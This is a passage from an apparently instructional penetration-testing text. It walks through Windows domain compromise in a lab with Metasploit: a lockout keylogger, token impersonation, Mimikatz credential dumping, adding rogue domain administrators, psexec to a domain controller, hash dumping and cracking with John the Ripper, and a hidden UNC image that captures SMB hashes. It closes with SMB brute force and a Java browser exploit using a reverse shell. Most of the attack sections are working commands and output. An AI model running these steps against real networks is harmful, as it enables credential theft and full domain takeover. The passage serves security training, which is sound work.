The hashes have the form <LM hash>:<NTLM Hash>. Because of the many security flaws in the older LM hashing algorithm, properly configured modern systems disable the use of LM hashes. This is observed here, as the LM hash aad3b435b51404eeaad3b435b51404ee is the LM hash for a blank password.

Although this exploit is useful, it suffers from two flaws – it provides local accounts rather than domain accounts, and provides only the password hashes, not the passwords themselves. One approach to getting the password for a domain account is to log out the current user, wait for the user to log back on, and log the keystrokes as they enter their password. This process is automated in the module post/windows/capture/lockout_keylogger.

```
msf post(credential_collector) > use post/windows/capture/lockout_keylogger
msf post(lockout_keylogger) > info

... Output Deleted ...
```

```
Description:
  This module migrates and logs Microsoft Windows user's passwords via
  Winlogon.exe using idle time and natural system changes to give a
  false sense of security to the user.

msf post(lockout_keylogger) > show options

Module options (post/windows/capture/lockout_keylogger):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HEARTBEAT  30               yes       Heart beat between idle checks
   INTERVAL   30               yes       Time between key collection during logging
   LOCKTIME   300              yes       Amount of idle time before lockout
   PID                         no        Target PID, only needed if multiple winlogon.exe
                                         instances exist
   SESSION                     yes       The session to run this module on.
   WAIT       false            yes       Wait for lockout instead of default method
```

To run the module, specify a session with SYSTEM access on a Windows target, and trigger the exploit.

```
msf post(lockout_keylogger) > set session 2
session => 2
msf post(lockout_keylogger) > exploit

[*] Found WINLOGON at PID:436
[*] Migrating from PID:2744
[*] Migrated to WINLOGON PID: 436 successfully
[+] Keylogging for NT AUTHORITY\SYSTEM @ IAPETUS
[*] System has currently been idle for 730 seconds
[-] Locking the workstation falied, trying again..
[*] Locked this time, time to start keyloggin...
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/
smartlocker/10.0.6.128_20140914.2015.txt
[*] Recording
[*] System has currently been idle for 733 seconds and the screensaver is OFF
[*] Password?: password1! <Return>
[*] They logged back in, the last password was probably right.
[*] Stopping keystroke sniffer...
[*] Post module execution completed
```

The module concludes that the “last password was probably right” as there are times when this module does not successfully capture every keystroke. Unlike the previous module, this module does not store the results in the credentials database. Note also that though the password is captured, the user name is not. Because this system was exploited earlier as the user CORP\vgirgnard, one expects that this is the corresponding user name.

A keylogger can be used on the system from within Meterpreter; start one with `keyscan_start`, stop it with `keyscan_stop`, and dump the results with `keyscan_dump`. Another option is the stand-alone module post/windows/capture/keylog_recorder.

Windows Domain Attacks

Access to a single Windows computer, even as SYSTEM, does not provide access to the wider Windows domain. That requires authenticating to a domain controller, which has not yet been done. The module post/windows/capture/lockout_keylogger is able to provide the attacker with a set of domain credentials, but it is unlikely that these are members of the domain administrators group. Indeed, in the examples so far, the domain administrators are CORP\Administrator, CORP\fhaber, and CORP\cbosch; the only password obtained so far belongs to CORP\vgrignard.

One approach is to use tokens already present on the system. Windows uses tokens to describe the security attributes of processes running on the system. If a domain user has an active token, then the token can be impersonated and used on other systems. To do so, start with a SYSTEM level shell on a domain member, for example, a Windows 7 SP1 x86 system.

```
meterpreter > sysinfo
Computer        : PHOEBE
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

The needed tools are contained in a Meterpreter extension, called Incognito. The command `use incognito` loads the extension, and the help command provides the list of (new) commands.

```
meterpreter > use incognito
Loading extension incognito...success.
meterpreter > help incognito

Incognito Commands
==================

    Command              Description
    -------              -----------
    add_group_user       Attempt to add a user to a global group with all tokens
    add_localgroup_user  Attempt to add a user to a local group with all tokens
    add_user             Attempt to add a user with all tokens
    impersonate_token    Impersonate specified token
    list_tokens          List tokens available under current user context
    snarf_hashes         Snarf challenge/response hashes for every token
```

To see the list of all tokens currently present on the system, use `list_tokens`.

```
meterpreter > list_tokens
Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level

OPTIONS:

    -g        List tokens by unique groupname
    -u        List tokens by unique username
```

```
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
CORP\ebuchner
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
```

Unfortunately for this attacker, the only available domain token is for the user CORP\ebuchner, who is already known not to be a domain administrator.

Another useful domain attack tool is Kiwi; this is a port of the Mimikatz project to Metasploit. Load the extension in the same fashion.

```
meterpreter > use kiwi
Loading extension kiwi...

  .#####.   mimikatz 2.0 alpha (x64/win64) release "Kiwi en C"
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'    Ported to Metasploit by OJ Reeves `TheColonial` * * */

success.
meterpreter > help kiwi

Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials
    creds_kerberos         Retrieve Kerberos creds
    creds_livessp          Retrieve LiveSSP creds
    creds_msv              Retrieve LM/NTLM creds (hashes)
    creds_ssp              Retrieve SSP creds
    creds_tspkg            Retrieve TsPkg creds
    creds_wdigest          Retrieve WDigest creds
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    lsa_dump               Dump LSA secrets
    wifi_list              List wifi profiles/creds
```

Once loaded, this module can be used to dump the passwords for all of the credentials stored in memory. This is done through a variety of ways, but the simplest way to use the result is through the creds_all command.

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
all credentials
===============

Domain  User      Password    Auth Id      LM Hash                          NTLM Hash
------  ----      --------    ------       -------                          ---------
CORP    ebuchner              0 ; 106534   e52cac67419a9a22ce171273f52739  5b4c6335673a75f13
                                                                           ed948e848f008
CORP    ebuchner  password1!  0 ; 106534
CORP    ebuchner  password1!  0 ; 106534
CORP    PHOEBE$   AMvv/F6TtymB(3e& #!hUSAdnX,KA9K/26#V6=6J8fBts9y];y$:YKh-X\=yMyC`KGZ=UD6,
                  msQS'#1 w9Qw)rr,S!6CFqfJevPUvAp%/hJKO\\`&`.32[I#
                              0 ; 999

... Output Deleted ...
```

The module provided a range of credentials, including the full password for the user CORP\ebuchner.[1]

This demonstrates the problem faced by the attacker. Though the attacker has complete SYSTEM-level control over the computer, because no other domain users are present on the system, there are no domain administrator tokens or credentials available.

Suppose that a domain administrator does log on – say to install software. Then the Kiwi extension provides the attacker with the plain text domain administrator password

```
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
all credentials
===============

Domain    User     Password    Auth Id     LM Hash                          NTLM Hash
------    ----     --------    -------     -------                           ---------
CORP      fhaber               0 ; 422458  e52cac67419a9a22ce171273f52739 5b4c6335673a75f13
                                                                          ed948e848f008
CORP      fhaber   password1!  0 ; 422458
CORP      fhaber   password1!  0 ; 422458
CORP      PHOEBE$  AMvv/F6TtymB(3e& #!hUSAdnX,KA9K/26#V6=6J8fBts9y];y$:YKh-X\=yMyC`
                   KGZ=UD6,msQS'#1 w9Qw)rr,S!6CFqfJevPUvAp%/hJKO\\`&`.32[I#
                              0 ; 999
CORP      ebuchner             0 ; 106534  e52cac67419a9a22ce171273f52739 5b4c6335673a75f13
                                                                          ed948e848f008
CORP      ebuchner password1!  0 ; 106534
CORP      ebuchner password1!  0 ; 106534

... Output Deleted ...
```

[1] I admit it – I use the same password (password1!) for all of the accounts on my test systems.

The password of the user CORP\fhaber, determined by earlier reconnaissance to be a domain administrator, is now present and readable.

The Incognito extension shows the ticket for CORP\fhaber.

```
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
CORP\ebuchner
CORP\fhaber
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
```

The `impersonate_token` command from the incognito extension allows the attacker to effectively become that user.

```
meterpreter > impersonate_token corp\\fhaber
[+] Delegation token available
[+] Successfully impersonated user CORP\fhaber
meterpreter > getuid
Server username: CORP\fhaber
```

As a domain administrator, a new domain administrator can be created directly from the command line.

```
meterpreter > shell
Process 564 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>net user iasimov Password1 /add /domain
net user iasimov Password1 /add /domain
The request will be processed at a domain controller for domain corp.saturn.test.

The command completed successfully.

C:\Windows\system32>net group "Domain Admins" iasimov /add /domain
net group "Domain Admins" iasimov /add /domain
The request will be processed at a domain controller for domain corp.saturn.test.

The command completed successfully.
```

A new domain user can also be added through the Metasploit module post/windows/magage/add_user_domain

```
msf exploit(ms13_053_schlamperei) > use post/windows/manage/add_user_domain
msf post(add_user_domain) > show options
```

```
Module options (post/windows/manage/add_user_domain):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   ADDTODOMAIN  true             yes       Add user to the Domain
   ADDTOGROUP   false            yes       Add user into Domain Group
   GETSYSTEM    true             yes       Attempt to get SYSTEM privilege on the target host.
   GROUP        Domain Admins    yes       Domain Group to add the user into.
   PASSWORD                      no        Password of the user (only required to add a user
                                           to the domain)
   SESSION                       yes       The session to run this module on.
   TOKEN                         no        Username or PID of the Token which will be used.
                                           If blank, Domain Admin Tokens will be enumerated.
                                           (Username doesnt require a Domain)
   USERNAME                      yes       Username to add to the Domain or Domain Group

msf post(add_user_domain) > set username jverne
username => jverne
msf post(add_user_domain) > set password Password1
password => Password1
msf post(add_user_domain) > set addtogroup true
addtogroup => true
msf post(add_user_domain) > set session 2
session => 2
msf post(add_user_domain) > exploit

[*] Running module on PHOEBE
[+] Found Domain Admin Token: 2 - 10.0.6.130 - fhaber (Delegation Token)
[*] Found token for CORP\fhaber
[*] Stealing token of process ID 564
[*] Now executing commands as CORP\fhaber
[*] Adding 'jverne' as a user to the CORP domain
[*] Adding 'jverne' to the 'Domain Admins' Domain Group
[+] jverne is now a member of the 'Domain Admins' group!
[*] Post module execution completed
msf post(add_user_domain) >
```

Earlier reconnaissance showed that the domain controller is named cassini and located at 10.0.6.120. With that knowledge and the domain administrator credentials, the attacker moves to the domain controller itself. To do so, the attacker uses the Metasploit module exploit/windows/smb/psexec, which behaves similarly to the Sysinternals psexec tool discussed in the previous chapter.

```
msf post(add_user_domain) > use exploit/windows/smb/psexec
msf exploit(psexec) > info

... Output Deleted ...
```

```
Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  RHOST                       yes       The target address
  RPORT      445              yes       Set the SMB service port
  SHARE      ADMIN$           yes       The share to connect to, can be an admin share
                                        (ADMIN$,C$,...) or a normal read/write folder share
  SMBDomain  WORKGROUP        no        The Windows domain to use for authentication
  SMBPass                     no        The password for the specified username
  SMBUser                     no        The username to authenticate as

Description:
  This module uses a valid administrator username and password (or
  password hash) to execute an arbitrary payload. This module is
  similar to the "psexec" utility provided by SysInternals. This
  module is now able to clean up after itself. The service created by
  this tool uses a randomly chosen name and description.

... Output Deleted ...
```

To gain a shell on the domain controller, the attacker provides the IP address, the domain name, the (domain admin) user, and password.

```
msf exploit(psexec) > set rhost 10.0.6.120
rhost => 10.0.6.120
msf exploit(psexec) > set smbdomain corp
smbdomain => corp
msf exploit(psexec) > set smbuser fhaber
smbuser => fhaber
msf exploit(psexec) > set smbpass password1!
smbpass => password1!
msf exploit(psexec) > exploit

[*] Started reverse handler on 10.0.4.252:4444
[*] Connecting to the server...
[*] Authenticating to 10.0.6.120:445|corp as user 'fhaber'...
[*] Uploading payload...
[*] Created \tTfmdbwn.exe...
[*] Deleting \tTfmdbwn.exe...
[*] Sending stage (769536 bytes) to 10.0.6.120
[*] Meterpreter session 6 opened (10.0.4.252:4444 -> 10.0.6.120:61869) at 2014-09-14 20:08:59 -0400
```

The attacker now has a SYSTEM shell on the domain controller itself.

```
msf exploit(psexec) > sessions -i 6
meterpreter > sysinfo
Computer        : CASSINI
OS              : Windows 2012 R2 (Build 9600).
Architecture    : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter     : x86/win32
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > background
[*] Backgrounding session 6...
```

From this session, the attacker dumps the password hashes for all of the domain members with post/windows/gather/smart_hashdump

```
msf exploit(psexec) > use post/windows/gather/smart_hashdump
msf post(smart_hashdump) > show options

Module options (post/windows/gather/smart_hashdump):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   GETSYSTEM  false            no        Attempt to get SYSTEM privilege on the target host.
   SESSION                     yes       The session to run this module on.

msf post(smart_hashdump) > set session 6
session => 6
msf post(smart_hashdump) > exploit

[*] Running module against CASSINI
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /root/.msf4/loot/20140914201220_saturn_10.0.6.120_windows.hashes_865803.txt
[+]     This host is a Domain Controller!
[*] Dumping password hashes...
[-] Failed to dump hashes as SYSTEM, trying to migrate to another process
[*] Migrating to process owned by SYSTEM
[*] Migrating to wininit.exe
[+] Successfully migrated to wininit.exe
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840
[+]     krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a279b802a2edbb83d3bc1f6ce56021d8
[+]     jhoff:1163:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840
[+]     hfischer:1164:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840

... Output Deleted ...

[+]     TELESTO$:1225:aad3b435b51404eeaad3b435b51404ee:f6c47d0469b8f056a8c56ff416003872
[+]     HELENE$:1226:aad3b435b51404eeaad3b435b51404ee:a9ee615df923ffd5c55a7bfcb881bc8e
[*] Post module execution completedows/gather/hashdump.
```

Windows Password Attacks

The successful compromise of a domain controller has presented the attacker with the LM and NTLM hashes for the passwords for the accounts on the domain. Because the LM hash method is obsolete, it is usually disabled and the LM hash replaced by AAD3B435B51404EEAAD3B435B51404EE, which is what is observed. However, the NTLM hashes can be cracked using a range of tools, provided the passwords are not too strong.

One approach is to use John the Ripper. John can be run in different modes:

- Incremental Mode: In this mode, John tries a brute force attack, using all combinations of a group of letters, numbers, and/or symbols.
- Single Crack Mode: In this mode, John generates passwords from usernames and other account data.
- Wordlist Mode: In this mode, John checks the hash against a user-specified list of passwords. Optionally, modified versions of these passwords can be checked, where the modifications are specified by a collection of rules.

To use John in wordlist mode, a wordlist must be available. On Kali, a small password list with 3,546 entries is provided with John in the file `/usr/share/john/password.lst`. A more extensive collection of wordlists is contained in `/usr/share/wordlists`; these include the 14 million passwords obtained in the 2009 RockYou attack.

Run John against the password hashes collected from the domain controller using the RockYou password list with the command

```
root@kali:~# john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt
.msf4/loot/20140914201220_saturn_10.0.6.120_windows.hashes_865803.txt
Loaded 17 password hashes with no different salts (NT MD4 [128/128 X2 SSE2-16])
Password1        (iasimov)
password1!       (Administrator)
guesses: 2  time: 0:00:00:01 DONE (Mon Sep 15 12:56:17 2014)  c/s: 140709K
trying:     ciocolatax -
```

```
*————————————————————7¡Vamos!————————————————————
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
```

This command starts by manually specifying the hash type; though John can often determine the correct hash from context, it is usually preferable to manually specify the hash. The location of the wordlist is specified, as well as the location of the hashes to be checked. The smart_hashdump module stored the hashes in a file contained in `/root/.msf4/loot`. John works through all 14 million passwords in the file in less than a single second, and successfully cracks two of the passwords – the domain administrator password as well as the password for the domain user iasimov that was added earlier during the attack.

In fact, John cracked the passwords for all of the user accounts (which had the same password), as can be verified by running

```
root@kali:~# john --format=nt --show ./hashes.txt
Administrator:password1!:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840
jhoff:password1!:aad3b435b51404eeaad3b435b51404ee:5b4c6335673a75f13ed948e848f00840

... Output Deleted ...

iasimov:Password1:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b
jverne:Password1:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b

52 password hashes cracked, 15 left
```

The remaining hashes belong to system, not user accounts. John records its results as it works in the directory `~/.john`; the file `~/.john/john.log` stores the status, while `~/.john/john.pot` stores cracked hashes.

```
root@kali:~# cat .john/john.log
0:00:00:00 Starting a new session
0:00:00:00 Loaded a total of 17 password hashes with no different salts
0:00:00:00 - Hash type: NT MD4 (lengths up to 27)
0:00:00:00 - Algorithm: 128/128 X2 SSE2-16
0:00:00:00 - Candidate passwords will be buffered and tried in chunks of 32
0:00:00:00 - Configured to use otherwise idle processor cycles only
0:00:00:00 Proceeding with wordlist mode
0:00:00:00 - Wordlist file: /usr/share/wordlists/rockyou.txt
0:00:00:00 - No word mangling rules
0:00:00:00 + Cracked iasimov
0:00:00:00 + Cracked Administrator
0:00:00:01 Session completed
root@kali:~# cat .john/john.pot
$NT$64f12cddaa88057e06a81b54e73b949b:Password1
$NT$5b4c6335673a75f13ed948e848f00840:password1!
```

Windows Cached Credentials

The domain password hashes just cracked were obtained after the attacker obtained a SYSTEM shell on a domain member, and a domain administrator logged on to the system to (for example) install software. If the attacker is not sufficiently fortunate to have a shell when the domain administrator logs on, an attack may still be possible. The module post/windows/gather/cachedump may provide access. When a user logs on to a domain member, the system caches the domain credentials. This allows that same user to connect to the system if the system is unconnected to the domain; this is particularly useful for corporate laptops that are only occasionally connected to the corporate domain.

Suppose that an attacker has a SYSTEM shell on a target (session 3 in what follows), that a domain administrator has logged on to the system in the past, but that the Kiwi and Incognito Meterpreter extensions do not provide access to a domain administrator. Run the module, specifying the session with SYSTEM credentials.

```
msf exploit(ms13_053_schlamperei) > use post/windows/gather/cachedump
msf post(cachedump) > show options

Module options (post/windows/gather/cachedump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   DEBUG    false            yes       Debugging output
   SESSION                   yes       The session to run this module on.

msf post(cachedump) > set session 3
session => 3
msf post(cachedump) > exploit
```

```
[*] Executing module against PHOEBE
[*] Cached Credentials Setting: 10 - (Max is 50 and 0 disables, and 10 is default)
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[*] Obtaining LK$KM...
[*] Dumping cached credentials...
[*] Hash are in MSCACHE_VISTA format. (mscash2)
[*] MSCACHE v2 saved in: /root/.msf4/loot/20140915132541_default_10.0.6.130_mscache2.creds_033707.txt
[*] John the Ripper format:
# mscash2
ebuchner:$DCC2$#ebuchner#c1e7e7883dc37702438dd4db103ecdea:CORP.SATURN.TESTe:CORP
fhaber:$DCC2$#fhaber#66a94561e5869bf82f009a25ffbbd704:CORP.SATURN.TESTf:CORP
bob:$DCC2$#bob#be47b1e390e49a3a2b8527fa043695bb:CORP.SATURN.TESTb:CORP
```

The attacker now has hashes for three domain users: CORP\ebuchner; CORP\bob; and the goal, the hashes for the domain administrator CORP\fhaber.

These hashes are not LM or NTLM hashes, these are in MSCash2 format (also known as DCC2- Domain Cached Credentials (version 2)). The output file cannot be directly passed to John; instead create a new file, say hashes.txt, with the content

```
ebuchner:c1e7e7883dc37702438dd4db103ecdea
fhaber:66a94561e5869bf82f009a25ffbbd704
bob:be47b1e390e49a3a2b8527fa043695bb
```

Notice that this is slightly different than the provided output. To crack these hashes with John, use the command

```
root@kali:~# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt ./hashes.txt
```

Patience is required. The MSCash2/DCC2 format is computationally quite expensive. In the previous example, John calculated some 15 million NTLM hashes per second; for MSCash2/DCC2 that number is reduced to some 1,000 hashes per second.[2] If the attacker hits return while John is running, it will return status information on the current process.

```
root@kali:~# john --format=mscash2 --wordlist=/usr/share/wordlists/rockyou.txt ./hashes.txt
Loaded 3 password hashes with 3 different salts (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1
[128/128 SSE2 intrinsics 4x])
guesses: 0  time: 0:00:05:19 0.59% (ETA: Tue Sep 16 05:02:56 2014)  c/s: 955  trying: gizzle - girl17
```

This shows that John has been running for a little more than five minutes, that it is 0.59% of the way through the list, that it expects to complete its run early in the morning on September 16, and that it is making some 955 guesses per second. This comes to an estimated running time of 15 hours or so before John is able to report back the results.[3]

[2]Of course, the speed is going to depend on the hardware and system load as well; these are numbers from my test system, running as a virtual machine.
[3]password1! (See footnote 1).

Windows Hash Gathering

The attack on the domain administrator's cached credentials is only possible if the attacker has obtained a SYSTEM shell on the domain member. However, it is not always possible to obtain a SYSTEM shell. Another approach available to the attacker is to convince a domain administrator to provide their hashes.

In the first step in the process, the attacker sets up a listener using auxiliary/server/capture/smb. When any user, including a domain administrator, uses SMB to authenticate to the attacker's system, this module captures and records the result.

```
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > info

... Output Deleted ...

Basic options:
  Name        Current Setting   Required  Description
  ----        ---------------   --------  -----------
  CAINPWFILE                    no        The local filename to store the hashes in
                                          Cain&Abel format
  CHALLENGE   1122334455667788  yes       The 8 byte challenge
  JOHNPWFILE                    no        The prefix to the local filename to store the
                                          hashes in JOHN format
  SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an
                                          address on the local machine or 0.0.0.0
  SRVPORT     445               yes       The local port to listen on.
  SSL         false             no        Negotiate SSL for incoming connections
  SSLCert                       no        Path to a custom SSL certificate (default is
                                          randomly generated)
  SSLVersion  SSL3              no        Specify the version of SSL that should be used
                                          (accepted: SSL2, SSL3, TLS1)

Description:
  This module provides a SMB service that can be used to capture the
  challenge-response password hashes of SMB client systems. Responses
  sent by this service have by default the configurable challenge
  string (\x11\x22\x33\x44\x55\x66\x77\x88), allowing for easy
  cracking using Cain & Abel, LOphtcrack or John the ripper (with
  jumbo patch). To exploit this, the target system must try to
  authenticate to this module. The easiest way to force a SMB
  authentication attempt is by embedding a UNC path (\\SERVER\SHARE)
  into a web page or email message. When the victim views the web page
  or email, their system will automatically connect to the server
  specified in the UNC share (the IP address of the system running
  this module) and attempt to authenticate.
```

When a user authenticates via SMB, the user's system does not directly send the password hash; instead it uses a challenge–response process. This prevents someone sniffing the traffic from collecting the hashes or being able to use them in a replay attack. However, the server determines the challenge, and this module uses a hard-coded challenge. As will be shown, knowledge of the challenge and response is sufficient to allow the attacker to attack the provided hashes.

To start the listener, provide a name for the John password file. The module actually creates two files, one to store any collected NETLM hashes, and a second to store collected NETNTLM hashes.

```
msf auxiliary(smb) > set johnpwfile capture_smb
johnpwfile => capture_smb
msf auxiliary(smb) > exploit
[*] Auxiliary module execution completed
msf auxiliary(smb) >
[*] Server started.
```

The attacker next needs to find a way to convince a domain administrator to attempt to authenticate to the attacker's system. One approach is to create a specially crafted web page, for example, with the content

File 7-1. Contents of index.html

```
<!DOCTYPE html>
<html>
<body>
<p>This is a kind message, full of happiness and joy!</p>
<img src="\\10.0.4.252\unicorns.jpg" width=0 height=0>
</body>
</html>
```

The key here is the image is located on a Windows file share. A user running Internet Explorer visiting the web page automatically attempts to access the share, providing its credentials in the process. The address of the image 10.0.4.252 is the same as the attacker's system; whether the file exists or not is irrelevant. Because the image size is set to zero, the user does not see anything out of the ordinary on the web page.

The process of building web servers is covered later in the text (Chapters 11 and 12), but that level of complexity is not needed here. Save the file in a convenient directory, say `/root/web/index.html`. Then from within that directory run

```
root@kali:~/web# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

This uses Python to launch a simple web server serving documents in that directory on port 8000. If a user visits the web page `http://10.0.4.252:8000`, they are served the web page `index.html`.

Once a Windows user visits this web page with Internet Explorer, the challenge–response process begins and the hashes are captured.

```
msf auxiliary(smb) >
[*] SMB Captured - 2014-09-15 15:08:01 -0400
NTLMv2 Response Captured from 10.0.6.133:62043 - 10.0.6.133
USER:fhaber DOMAIN:CORP OS: LM:
LMHASH:Disabled LM_CLIENT_CHALLENGE:Disabled
NTHASH:873272e6e282f61109a6e144cde5249f NT_CLIENT_CHALLENGE:0101000000000005bfbf45e18d1cf01
161ef3a1e5542d950000000002000000000000000000000000
```

The result is stored in a pair of files- /root/capture_smb_netlmv2 and /root/capture_smb_netntlmv2 in this example. The first of these contains the NetLM hashes; because LM is obsolete these are disabled in modern versions of Windows and the file contents are similar to

```
root@kali:~# head -n 2 /root/capture_smb_netlmv2
fhaber::CORP:1122334455667788:00000000000000000000000000000000:0000000000000000
fhaber::CORP:1122334455667788:00000000000000000000000000000000:0000000000000000
```

The second contains the corresponding NetNTLM hashes, and are nonzero.

```
root@kali:~# head -n 2 /root/capture_smb_netntlmv2
fhaber::CORP:1122334455667788:873272e6e282f61109a6e144cde5249f:0101000000000005bfbf45e18d1c
f01161ef3a1e5542d9500000000020000000000000000000000
fhaber::CORP:1122334455667788:38cc1f60d5fdcd15c0f2c0f6f1466719:0101000000000000d73485f18d1c
f012ea42edbcb40238e0000000002000000000000000000000
```

Even though only one user attempted to connect to the web page, more than one copy of the password hash is collected.

John can then be used to crack the hashes, where the hash format is specified as netntlmv2.

```
root@kali:~# john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt /root/
capture_smb_netntlmv2
Loaded 30 password hashes with 30 different salts (NTLMv2 C/R MD4 HMAC-MD5 [32/64])
password1!       (fhaber)

... Output Deleted ...

guesses: 30  time: 0:00:00:03 DONE (Mon Sep 15 15:31:23 2014)  c/s: 1045K
trying: rakistaako - nihonjin
Use the "--show" option to display all of the cracked passwords reliably
```

The attacker is able to recover the password in just three seconds, reporting just over one million checks per second. This is slower than checking the NTLM hashes directly, which John reported earlier at nearly one hundred million checks per second, but it is significantly faster than checks against the cached credentials which John reported at only one thousand per second.

Windows Direct Attacks

Another option is a brute force attack on the domain controller itself. Multiple failed logins on a domain account usually causes the offending user to be locked out of the account for a set period. However, domain administrator accounts are usually not protected in this fashion. This is set by Group Policy, and can be modified (see Chapter 6, Exercise 12).

This approach is necessarily slower than offline attacks against password hashes; it is also much more noticeable by the defender.

To perform the attack, start the module auxiliary/scanner/smb/smb_login.

```
msf auxiliary(smb) > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > info
```

```
... Output Deleted ...

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BLANK_PASSWORDS   false            no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  CHECK_ADMIN       false            no        Check for Admin rights
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the
                                               current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to
                                               the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASS_FILE                          no        File containing passwords, one per line
  PRESERVE_DOMAINS  true             no        Respect a username that contains a domain name.
  RECORD_GUEST      false            no        Record guest-privileged random logins to the
                                               database
  RHOSTS                             yes       The target address range or CIDR identifier
  RPORT             445              yes       Set the SMB service port
  SMBDomain                          no        SMB Domain
  SMBPass                            no        SMB Password
  SMBUser                            no        SMB Username
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads
  USERPASS_FILE                      no        File containing users and passwords separated
                                               by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts

Description:
  This module will test a SMB login on a range of machines and report
  successful logins. If you have loaded a database plugin and
  connected to a database this module will record successful logins
  and hosts so you can track your access.
```

Choose the password file; because of the slow speed of this attack, a large password file like the RockYou list might be problematic. The file `/usr/share/wordlists/metasploit-jtr/password.lst` is smaller, with just 88,934 passwords.[4] Configure the other options: the location of the domain controller (10.0.6.120), the domain name (CORP), and the username (fhaber, known to be a domain administrator). There is no need to print the many (many) failures to the screen, so the verbose option is set to false. Because this is occurring on a local network, a certain amount of parallel processing is in order, and the attack runs with five threads.

```
msf auxiliary(smb_login) > set pass_file /usr/share/wordlists/metasploit-jtr/password.lst
pass_file => /usr/share/wordlists/metasploit-jtr/password.lst
msf auxiliary(smb_login) > set smbdomain CORP
smbdomain => CORP
msf auxiliary(smb_login) > set smbuser fhaber
smbuser => fhaber
```

[4]It does not contain the default password used in these examples (password1!), so this has been appended to the list.

```
msf auxiliary(smb_login) > set rhosts 10.0.6.120
rhosts => 10.0.6.120
msf auxiliary(smb_login) > set threads 5
threads => 5
msf auxiliary(smb_login) > set verbose false
verbose => false
msf auxiliary(smb_login) > exploit

[+] 10.0.6.120:445 \\CORP - SUCCESSFUL LOGIN (Windows Server 2012 R2 Standard 9600) fhaber :
password1! [STATUS_SUCCESS]
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

This is a slow process; this example took roughly 30 minutes to work through the 88,394 passwords giving a rate of roughly 50 attempts per second. This is for a pair of virtual machines located on the same physical host; remote attacks across a network are likely to be slower still.

Linux Privilege Escalation

An attacker that has gained user-level access to a Linux system using the techniques of Chapter 2 can also attempt to escalate privileges to root. As an example, configure the Java Applet Rhino Script Engine Remote Code Execution attack for a Linux target, using a native Linux Meterpreter for the payload.

```
root@kali:~# msfconsole -q
msf > workspace linux
[*] Workspace: linux
msf > use exploit/multi/browser/java_rhino
msf exploit(java_rhino) > set uripath bob
uripath => bob
msf exploit(java_rhino) > set target 3
target => 3
msf exploit(java_rhino) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(java_rhino) > set lhost 10.0.4.252
lhost => 10.0.4.252
msf exploit(java_rhino) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 10.0.4.252:4444
```

If that malicious web site is visited by a vulnerable Linux system, then the attacker is presented with a shell on the target.

```
